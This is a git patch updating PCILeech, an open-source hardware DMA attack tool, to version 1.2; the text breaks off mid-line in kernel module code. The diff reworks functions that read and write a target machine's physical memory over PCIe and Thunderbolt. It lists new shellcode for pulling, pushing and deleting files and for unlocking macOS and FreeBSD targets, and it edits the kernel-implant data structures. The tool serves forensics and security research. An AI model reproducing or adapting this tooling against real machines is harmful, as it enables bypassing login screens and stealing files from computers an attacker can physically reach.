From ea2476b154583693eb7d2d01cc9268b3b2fddb44 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Wed, 28 Sep 2016 19:52:40 +0200 Subject: [PATCH] Version 1.2 --- pcileech/consoleredir.c | 6 +- pcileech/device.c | 94 +++++--- pcileech/device.h | 74 ++---- pcileech/help.c | 7 +- pcileech/kmd.c | 221 +++++++++++------- pcileech/memdump.c | 22 +- pcileech/mempatch.c | 2 +- pcileech/pcileech.c | 2 +- pcileech/shellcode.h | 163 ++++++++++++- pcileech/util.c | 117 +++++----- pcileech/util.h | 13 +- pcileech_files/ax64_filepull.ksh | Bin 2017 -> 0 bytes pcileech_files/ax64_unlock.ksh | Bin 1933 -> 0 bytes pcileech_files/fbsdx64_filepull.ksh | Bin 0 -> 2357 bytes pcileech_files/lx64_filedelete.ksh | Bin 1206 -> 1206 bytes pcileech_files/macos_filepull.ksh | Bin 0 -> 2046 bytes .../{ax64_filepush.ksh => macos_filepush.ksh} | Bin 2632 -> 2666 bytes pcileech_files/macos_unlock.ksh | Bin 0 -> 2061 bytes pcileech_files/pcileech.exe | Bin 184832 -> 187904 bytes pcileech_files/unlock_macos.sig | 9 + pcileech_files/unlock_osx.sig | 6 - pcileech_shellcode/ax64_filepull.c | 94 -------- pcileech_shellcode/ax64_filepush.c | 86 ------- pcileech_shellcode/fbsdx64_common.c | 8 + pcileech_shellcode/fbsdx64_common.h | 70 ++++++ pcileech_shellcode/fbsdx64_common_a.asm | 140 +++++++++++ pcileech_shellcode/fbsdx64_filepull.c | 152 ++++++++++++ pcileech_shellcode/fbsdx64_info.txt | 28 +++ pcileech_shellcode/fbsdx64_stage2.asm | 197 ++++++++++++++++ pcileech_shellcode/fbsdx64_stage3.asm | 206 ++++++++++++++++ pcileech_shellcode/fbsdx64_stage3_c.c | 220 +++++++++++++++++ pcileech_shellcode/lx64_common.h | 8 +- pcileech_shellcode/lx64_filedelete.c | 2 +- .../{ax64_common.c => macos_common.c} | 6 +- .../{ax64_common.h => macos_common.h} | 31 +-- .../{ax64_common_a.asm => macos_common_a.asm} | 37 ++- pcileech_shellcode/macos_filedelete.c | 159 +++++++++++++ pcileech_shellcode/macos_filepull.c | 86 +++++++ pcileech_shellcode/macos_filepush.c | 79 +++++++ .../{ax64_info.txt => macos_info.txt} | 16 +- .../{ax64_stage2.asm => macos_stage2.asm} | 0 .../{ax64_stage3.asm => macos_stage3.asm} | 0 .../{ax64_stage3_c.c => macos_stage3_c.c} | 8 +- .../{ax64_unlock.c => macos_unlock.c} | 19 +- pcileech_shellcode/pcileech_shellcode.vcxproj | 29 ++- .../pcileech_shellcode.vcxproj.filters | 93 +++++--- pcileech_shellcode/statuscodes.h | 19 ++ readme.md | 27 ++- 48 files changed, 1994 insertions(+), 562 deletions(-) delete mode 100644 pcileech_files/ax64_filepull.ksh delete mode 100644 pcileech_files/ax64_unlock.ksh create mode 100644 pcileech_files/fbsdx64_filepull.ksh create mode 100644 pcileech_files/macos_filepull.ksh rename pcileech_files/{ax64_filepush.ksh => macos_filepush.ksh} (57%) create mode 100644 pcileech_files/macos_unlock.ksh create mode 100644 pcileech_files/unlock_macos.sig delete mode 100644 pcileech_files/unlock_osx.sig delete mode 100644 pcileech_shellcode/ax64_filepull.c delete mode 100644 pcileech_shellcode/ax64_filepush.c create mode 100644 pcileech_shellcode/fbsdx64_common.c create mode 100644 pcileech_shellcode/fbsdx64_common.h create mode 100644 pcileech_shellcode/fbsdx64_common_a.asm create mode 100644 pcileech_shellcode/fbsdx64_filepull.c create mode 100644 pcileech_shellcode/fbsdx64_info.txt create mode 100644 pcileech_shellcode/fbsdx64_stage2.asm create mode 100644 pcileech_shellcode/fbsdx64_stage3.asm create mode 100644 pcileech_shellcode/fbsdx64_stage3_c.c rename pcileech_shellcode/{ax64_common.c => macos_common.c} (96%) rename pcileech_shellcode/{ax64_common.h => macos_common.h} (85%) rename pcileech_shellcode/{ax64_common_a.asm => macos_common_a.asm} (80%) create mode 100644 pcileech_shellcode/macos_filedelete.c create mode 100644 pcileech_shellcode/macos_filepull.c create mode 100644 pcileech_shellcode/macos_filepush.c rename pcileech_shellcode/{ax64_info.txt => macos_info.txt} (55%) rename pcileech_shellcode/{ax64_stage2.asm => macos_stage2.asm} (100%) rename pcileech_shellcode/{ax64_stage3.asm => macos_stage3.asm} (100%) rename pcileech_shellcode/{ax64_stage3_c.c => macos_stage3_c.c} (98%) rename pcileech_shellcode/{ax64_unlock.c => macos_unlock.c} (71%) create mode 100644 pcileech_shellcode/statuscodes.h diff --git a/pcileech/consoleredir.c b/pcileech/consoleredir.c index 399afb6..eefbf96 100644 --- a/pcileech/consoleredir.c +++ b/pcileech/consoleredir.c @@ -81,7 +81,7 @@ VOID ActionConsoleRedirect(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In pd->pInfoOS = (PUSERSHELL_BUFFER_IO)pd->pbDataOSConsoleBuffer; // read initial buffer and check validity Sleep(250); - result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000); + result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0); if(pd->pInfoOS->qwMagic != USERSHELL_BUFFER_IO_MAGIC) { printf("\nCONSOLE_REDIRECT: Error: Adress 0x%016llX does not contain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); return; @@ -91,11 +91,11 @@ VOID ActionConsoleRedirect(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleOutput, pd, 0, NULL); // buffer syncer while(TRUE) { - result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000); + result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0); if(!result || pd->pInfoOS->qwMagic != USERSHELL_BUFFER_IO_MAGIC) { printf("\nCONSOLE_REDIRECT: Error: Adress 0x%016llX does not contain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); return; } - DeviceWriteMEM(pDeviceData, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000); + DeviceWriteMEM(pDeviceData, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000, 0); } } \ No newline at end of file diff --git a/pcileech/device.c b/pcileech/device.c index 8f6b11b..7956d35 100644 --- a/pcileech/device.c +++ b/pcileech/device.c @@ -8,6 +8,34 @@ #include "util.h" #include +#define CSR_BYTE0 0x01 +#define CSR_BYTE1 0x02 +#define CSR_BYTE2 0x04 +#define CSR_BYTE3 0x08 +#define CSR_BYTEALL 0x0f +#define CSR_CONFIGSPACE_PCIE 0x00 +#define CSR_CONFIGSPACE_MEMM 0x10 +#define CSR_CONFIGSPACE_8051 0x20 +#define REG_DMACTL_0 0x180 +#define REG_DMASTAT_0 0x184 +#define REG_DMACOUNT_0 0x190 +#define REG_DMAADDR_0 0x194 +#define REG_FIFOSTAT_0 0x32c +#define REG_DMACTL_1 0x1a0 +#define REG_DMASTAT_1 0x1a4 +#define REG_DMACOUNT_1 0x1b0 +#define REG_DMAADDR_1 0x1b4 +#define REG_DMACTL_2 0x1c0 +#define REG_DMASTAT_2 0x1c4 +#define REG_DMACOUNT_2 0x1d0 +#define REG_DMAADDR_2 0x1d4 +#define REG_DMACTL_3 0x1e0 +#define REG_DMASTAT_3 0x1e4 +#define REG_DMACOUNT_3 0x1f0 +#define REG_DMAADDR_3 0x1f4 +#define REGPCI_STATCMD 0x04 +#define DEVICE_READ_DMA_FLAG_CONTINUE 1 + typedef struct tdEP_INFO { UCHAR pipe; WORD rCTL; @@ -24,7 +52,7 @@ EP_INFO CEP_INFO[3] = { typedef struct tdThreadDataReadEP { PDEVICE_DATA pDeviceData; - DWORD dwAddrPci32; + QWORD qwAddr; PBYTE pb; DWORD cb; BOOL isFinished; @@ -43,12 +71,12 @@ DEVICE_MEMORY_RANGE CDEVICE_RESERVED_MEMORY_RANGES[NUMBER_OF_DEVICE_RESERVED_MEM { .BaseAddress = 0xF0000000,.TopAddress = 0xFFFFFFFF }, // PCI SPACE }; -BOOL _DeviceIsInReservedMemoryRange(_In_ DWORD dwAddrPci32, _In_ DWORD cb) +BOOL _DeviceIsInReservedMemoryRange(_In_ QWORD qwAddr, _In_ DWORD cb) { PDEVICE_MEMORY_RANGE pmr; for(DWORD i = 0; i < NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES; i++) { pmr = &CDEVICE_RESERVED_MEMORY_RANGES[i]; - if(!((dwAddrPci32 > pmr->TopAddress) || (dwAddrPci32 + cb <= pmr->BaseAddress))) { + if(!((qwAddr > pmr->TopAddress) || (qwAddr + cb <= pmr->BaseAddress))) { return TRUE; } } @@ -78,7 +106,7 @@ BOOL _DeviceReadDMA_Retry(PTHREAD_DATA_READ_EP ptd) BOOL result; DWORD cbTransferred; DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCTL, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, ptd->dwAddrPci32, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT DeviceWriteCsr(ptd->pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? @@ -89,7 +117,7 @@ BOOL _DeviceReadDMA_Retry(PTHREAD_DATA_READ_EP ptd) VOID _DeviceReadDMA(PTHREAD_DATA_READ_EP ptd) { DWORD cbTransferred; - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, ptd->dwAddrPci32, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT ptd->result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); @@ -99,23 +127,27 @@ VOID _DeviceReadDMA(PTHREAD_DATA_READ_EP ptd) ptd->isFinished = TRUE; } -BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb) +BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { THREAD_DATA_READ_EP td[3]; DWORD i, dwChunk; + if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { + return DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0) || DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0); + } if(cb % 0x1000) { return FALSE; } if(cb > 0x01000000) { return FALSE; } - if(_DeviceIsInReservedMemoryRange(dwAddrPci32, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; } + if(qwAddr + cb > 0x100000000) { return FALSE; } + if(_DeviceIsInReservedMemoryRange(qwAddr, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; } ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3); if(cb < 0x00300000 || !pDeviceData->IsAllowedMultiThreadDMA) { if(cb > 0x00800000) { // read max 8MB at a time. return - DeviceReadDMA(pDeviceData, dwAddrPci32, pb, 0x00800000) && - DeviceReadDMA(pDeviceData, dwAddrPci32 + 0x00800000, pb + 0x00800000, cb - 0x00800000); + DeviceReadDMA(pDeviceData, qwAddr, pb, 0x00800000, 0) && + DeviceReadDMA(pDeviceData, qwAddr + 0x00800000, pb + 0x00800000, cb - 0x00800000, 0); } td[0].pDeviceData = pDeviceData; td[0].pep = &CEP_INFO[0]; - td[0].dwAddrPci32 = dwAddrPci32; + td[0].qwAddr = qwAddr; td[0].pb = pb; td[0].cb = cb; _DeviceReadDMA(&td[0]); @@ -125,7 +157,7 @@ BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ for(i = 0; i < 3; i++) { td[i].pDeviceData = pDeviceData; td[i].pep = &CEP_INFO[i]; - td[i].dwAddrPci32 = dwAddrPci32; dwAddrPci32 += dwChunk; + td[i].qwAddr = qwAddr; qwAddr += dwChunk; td[i].pb = pb; pb += dwChunk; if(i == 2) { td[i].cb = cb - 2 * dwChunk; @@ -143,19 +175,17 @@ BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ } } -BOOL DeviceReadDMARetryOnFail(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb) -{ - BOOL result = DeviceReadDMA(pDeviceData, dwAddrPci32, pb, cb); - return result ? TRUE : DeviceReadDMA(pDeviceData, dwAddrPci32, pb, cb); -} - -BOOL DeviceWriteDMA_Retry(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb) +BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { BOOL result; DWORD cbTransferred; + if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { + return DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, 0) || DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0); + } + if(qwAddr + cb > 0x100000000) { return FALSE; } DeviceWriteCsr(pDeviceData, REG_FIFOSTAT_0, 0xffffffff, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // USB_FIFO0 FLUSH DeviceWriteCsr(pDeviceData, REG_DMACTL_0, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE - DeviceWriteCsr(pDeviceData, REG_DMAADDR_0, dwAddrPci32, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + DeviceWriteCsr(pDeviceData, REG_DMAADDR_0, (DWORD)qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS DeviceWriteCsr(pDeviceData, REG_DMACOUNT_0, 0x00000000 | cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT DeviceWriteCsr(pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? @@ -164,22 +194,16 @@ BOOL DeviceWriteDMA_Retry(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, return result; } -BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb) -{ - if(cb > 0x00ffffff) { return FALSE; } - return DeviceWriteDMA_Retry(pDeviceData, dwAddrPci32, pb, cb) || DeviceWriteDMA_Retry(pDeviceData, dwAddrPci32, pb, cb); -} - -BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb) +BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { PBYTE pbV; - BOOL result = DeviceWriteDMA_Retry(pDeviceData, dwAddrPci32, pb, cb); + BOOL result = DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, flags); if(!result) { return FALSE; } pbV = LocalAlloc(0, cb + 0x2000); if(!pbV) { return FALSE; } result = - DeviceReadDMARetryOnFail(pDeviceData, dwAddrPci32 & ~0xfff, pbV, (cb + 0xfff + (dwAddrPci32 & 0xfff)) & ~0xfff) && - (0 == memcmp(pb, pbV + (dwAddrPci32 & 0xfff), cb)); + DeviceReadDMA(pDeviceData, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) && + (0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb)); LocalFree(pbV); return result; } @@ -341,24 +365,20 @@ VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData) pDeviceData->HandlesOpen = FALSE; } -BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb) +BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { if(pDeviceData->KMDHandle) { return KMDWriteMemory(pDeviceData, qwAddr, pb, cb); - } else if(qwAddr + cb > 0xffffffff) { - return FALSE; } else { - return DeviceWriteDMA(pDeviceData, (DWORD)qwAddr, pb, cb); + return DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, flags); } } -BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { if(pDeviceData->KMDHandle) { return KMDReadMemory(pDeviceData, qwAddr, pb, cb); - } else if(qwAddr + cb > 0xffffffff) { - return FALSE; } else { - return DeviceReadDMA(pDeviceData, (DWORD)qwAddr, pb, cb); + return DeviceReadDMA(pDeviceData, qwAddr, pb, cb, flags); } } \ No newline at end of file diff --git a/pcileech/device.h b/pcileech/device.h index 3ec1d4b..81148ad 100644 --- a/pcileech/device.h +++ b/pcileech/device.h @@ -7,33 +7,7 @@ #define __DEVICE_H__ #include "pcileech.h" -#define CSR_BYTE0 0x01 -#define CSR_BYTE1 0x02 -#define CSR_BYTE2 0x04 -#define CSR_BYTE3 0x08 -#define CSR_BYTEALL 0x0f -#define CSR_CONFIGSPACE_PCIE 0x00 -#define CSR_CONFIGSPACE_MEMM 0x10 -#define CSR_CONFIGSPACE_8051 0x20 -#define REG_DMACTL_0 0x180 -#define REG_DMASTAT_0 0x184 -#define REG_DMACOUNT_0 0x190 -#define REG_DMAADDR_0 0x194 -#define REG_FIFOSTAT_0 0x32c -#define REG_DMACTL_1 0x1a0 -#define REG_DMASTAT_1 0x1a4 -#define REG_DMACOUNT_1 0x1b0 -#define REG_DMAADDR_1 0x1b4 -#define REG_DMACTL_2 0x1c0 -#define REG_DMASTAT_2 0x1c4 -#define REG_DMACOUNT_2 0x1d0 -#define REG_DMAADDR_2 0x1d4 -#define REG_DMACTL_3 0x1e0 -#define REG_DMASTAT_3 0x1e4 -#define REG_DMACOUNT_3 0x1f0 -#define REG_DMAADDR_3 0x1f4 -#define REGPCI_STATCMD 0x04 -#define DEVICE_READ_DMA_FLAG_CONTINUE 1 +#define PCILEECH_MEM_FLAG_RETRYONFAIL 0x01 /* * Open a USB connection to the target USB3380 device. @@ -76,56 +50,37 @@ VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData); /* * Read data from the target system using DMA. * -- pDeviceData -* -- dwAddrPci32 +* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) * -- pb * -- cb +* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL * -- return */ -BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb); - -/* -* Exactly the same as DeviceReadDMA except that if the call fail another -* attempt will be performed. -* -- pDeviceData -* -- dwAddrPci32 -* -- pb -* -- cb -* -- return -*/ -BOOL DeviceReadDMARetryOnFail(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pb, _In_ DWORD cb); +BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * Write data to the target system using DMA. * -- pDeviceData -* -- dwAddrPci32 +* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) * -- pb * -- cb +* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL * -- return */ -BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb); - -/* -* Exactly the same as DeviceWriteDMA except that if the call fail another -* attempt will be performed. -* -- pDeviceData -* -- dwAddrPci32 -* -- pb -* -- cb -* -- return -*/ -BOOL DeviceWriteDMA_Retry(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb); +BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * First write data using DMA, then verify the data has been correctly written * by reading the data. NB! If the running target system changes the data * between the write and the read this call will fail. * -- pDeviceData -* -- dwAddrPci32 +* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) * -- pb * -- cb +* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL * -- return */ -BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _In_ PBYTE pb, _In_ DWORD cb); +BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * Write target physical memory. If an KMD is inserted in the target kernel the @@ -135,9 +90,10 @@ BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, * -- qwAddress = the physical address to write to in the target system. * -- pb = bytes to write * -- cb = number of bytes to write. -* -- return TRUE on success, otherwise FALSE. +* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL +* -- return */ -BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb); +BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * Read target physical memory. If an KMD is inserted in the target kernel the @@ -147,7 +103,9 @@ BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE * -- qwAddress = physical address in target system to read. * -- pb = pre-allocated buffer to place result in. * -- cb = length of data to read, must not be larger than pb. +* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL +* -- return */ -BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb); +BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); #endif /* __DEVICE_H__ */ \ No newline at end of file diff --git a/pcileech/help.c b/pcileech/help.c index 02fa373..0d0f0b4 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -90,7 +90,8 @@ VOID Help_ShowGeneral() " kernel module to use, see list below for choices: \n" \ " WIN10_X64 (WARNING! Unstable/Experimental) \n" \ " LINUX_X64 \n" \ - " OSX_X64 \n" \ + " FREEBSD_X64 \n" \ + " MACOS \n" \ ); ShowListFiles("*.kmd"); printf( @@ -107,7 +108,7 @@ VOID Help_ShowInfo() printf( " PCILEECH INFORMATION \n" \ " PCILeech (c) 2016 Ulf Frisk \n" \ - " Version: 1.1.1 \n" \ + " Version: 1.2 \n" \ " License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ " Contact information: pcileech@frizk.net \n" \ " System requirements: 64-bit Windows 7, 10 or later. \n" \ @@ -129,7 +130,7 @@ VOID Help_ShowInfo() " executing pcileech.exe. If all memory reads fail try to re-insert the device.\n" \ " - It is only possible to access the lower 4GB of RAM (32-bit) with DMA. \n" \ " - It may not be possible to access RAM if OS configured IOMMU (VT-d). \n" \ - " OS X defaults to VT-d. Windows 10 may, if configured, also use VT-d. \n" \ + " macOS defaults to VT-d. Windows 10 may, if configured, also use VT-d. \n" \ " - No drivers are needed on the target! Memory acquisition is all in hardware! \n" \ " - Confirmed working with PCIe/mPCIe/ExpressCard/Thunderbolt. \n" \ " - If kernel module is successfully inserted in lower 4GB RAM more RAM will be \n" \ diff --git a/pcileech/kmd.c b/pcileech/kmd.c index ed0d3b4..173effa 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -15,7 +15,8 @@ typedef struct _PHYSICAL_MEMORY_RANGE { #define KMDDATA_OPERATING_SYSTEM_WINDOWS 0x01 #define KMDDATA_OPERATING_SYSTEM_LINUX 0x02 -#define KMDDATA_OPERATING_SYSTEM_OSX 0x04 +#define KMDDATA_OPERATING_SYSTEM_MACOS 0x04 +#define KMDDATA_OPERATING_SYSTEM_FREEBSD 0x08 /* * KMD DATA struct. This struct must be contained in a 4096 byte section (page). @@ -25,7 +26,7 @@ typedef struct _PHYSICAL_MEMORY_RANGE { */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. @@ -42,18 +43,18 @@ typedef struct tdKMDDATA { QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. - QWORD dataOut[28]; // [0x220] - PVOID fn[32]; // [0x300] used by shellcode to store function pointers. - CHAR dataInStr[MAX_PATH]; // [0x400] string in-data - CHAR ReservedFutureUse2[252]; - CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data - CHAR ReservedFutureUse3[252]; - QWORD ReservedFutureUse4[255]; // [0x800] - QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) +QWORD dataOut[28]; // [0x220] +PVOID fn[32]; // [0x300] used by shellcode to store function pointers. +CHAR dataInStr[MAX_PATH]; // [0x400] string in-data +CHAR ReservedFutureUse2[252]; +CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data +CHAR ReservedFutureUse3[252]; +QWORD ReservedFutureUse4[255]; // [0x800] +QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) } KMDDATA, *PKMDDATA; typedef struct tdKMDHANDLE_S12 { @@ -140,12 +141,20 @@ HRESULT KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ DWORD HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx) { - QWORD qwAddrCurrent = 0x100000; - PBYTE pbBuffer8M = LocalAlloc(0, 0x800000); + QWORD i, qwAddrCurrent = 0x100000; + PBYTE pbBuffer8M; HRESULT hr; PAGE_STATISTICS pageStat; + // special case (fixed memory location && zero signature byte length) + for(i = 0; i < cSignatures; i++) { + if((pSignatures[i].chunk[0].cbOffset > 0xfff) && (pSignatures[i].chunk[0].cb == 0) && (pSignatures[i].chunk[1].cbOffset > 0xfff) && (pSignatures[i].chunk[1].cb == 0)) { + pSignatures[i].chunk[0].qwAddress = pSignatures[i].chunk[0].cbOffset & ~0xFFF; + pSignatures[i].chunk[1].qwAddress = pSignatures[i].chunk[1].cbOffset & ~0xFFF; + return TRUE; + } + } // initialize / allocate memory / load signatures - if(!pbBuffer8M) { + if(!(pbBuffer8M = LocalAlloc(0, 